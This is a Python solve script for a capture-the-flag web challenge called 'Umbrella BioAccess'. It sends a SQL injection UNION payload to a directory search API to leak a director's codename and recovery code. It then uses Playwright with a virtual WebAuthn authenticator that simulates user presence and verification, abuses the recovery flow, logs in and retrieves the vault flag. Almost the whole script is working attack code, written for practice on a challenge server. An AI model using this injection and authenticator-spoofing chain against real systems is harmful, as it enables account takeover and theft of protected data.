import argparse import re import sys from dataclasses import dataclass from urllib.parse import urljoin import requests import urllib3 from playwright.sync_api import BrowserContext, Page, sync_playwright DIRECTOR_QUERY = ( "') UNION ALL SELECT codename,recovery_code,division,dossier " "FROM directory_public_view WHERE role='director' -- " ) RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$") @dataclass class DirectorProfile: codename: str recovery_code: str def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.") parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf") parser.add_argument( "--insecure", action="store_true", help="Disable TLS verification for self-signed challenge certificates", ) parser.add_argument( "--headful", action="store_true", help="Run Chromium in headful mode for debugging", ) return parser.parse_args() def api_url(base_url: str, path: str) -> str: return urljoin(base_url.rstrip("/") + "/", path.lstrip("/")) def discover_director(base_url: str, insecure: bool) -> DirectorProfile: session = requests.Session() session.verify = not insecure if insecure: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response = session.post( api_url(base_url, "/api/directory/search"), json={"query": DIRECTOR_QUERY}, timeout=20, ) response.raise_for_status() payload = response.json() items = payload.get("items", []) for item in items: codename = str(item.get("codename", "")) display_name = str(item.get("displayName", "")) if RECOVERY_CODE_RE.fullmatch(display_name): return DirectorProfile(codename=codename, recovery_code=display_name) raise RuntimeError("Director recovery vector not found in SQLi response") def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None: cdp = context.new_cdp_session(page) cdp.send("WebAuthn.enable") cdp.send( "WebAuthn.addVirtualAuthenticator", { "options": { "protocol": "ctap2", "transport": "internal", "hasResidentKey": True, "hasUserVerification": True, "isUserVerified": True, "automaticPresenceSimulation": True, } }, ) def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str: with sync_playwright() as playwright: browser = playwright.chromium.launch(headless=not headful) context = browser.new_context(ignore_https_errors=insecure) page = context.new_page() enable_virtual_authenticator(context, page) page.goto(api_url(base_url, "/recovery"), wait_until="networkidle") page.get_by_test_id("recovery-code").fill(profile.recovery_code) page.get_by_test_id("recovery-submit").click() page.wait_for_url(re.compile(r".*/access$"), timeout=20_000) page.get_by_test_id("login-codename").fill(profile.codename) page.get_by_test_id("login-submit").click() page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000) page.get_by_test_id("vault-fetch").click() page.wait_for_function( """ () => { const node = document.querySelector('[data-testid="vault-flag"]'); return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.'; } """, timeout=20_000, ) flag = page.get_by_test_id("vault-flag").text_content().strip() browser.close() if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.": raise RuntimeError("Vault returned no payload") if not flag.lower().startswith("caplag{"): raise RuntimeError(f"Unexpected flag format: {flag}") return flag.lower() def main() -> int: args = parse_args() try: profile = discover_director(args.base_url, args.insecure) print(f"[+] director codename: {profile.codename}") print(f"[+] recovery code: {profile.recovery_code}") flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful) print(f"[+] flag: {flag}") return 0 except Exception as exc: message = str(exc) if "Executable doesn't exist" in message or "playwright install" in message.lower(): message = f"{message}\n[hint] install a browser with: python -m playwright install chromium" print(f"[-] solve failed: {message}", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main())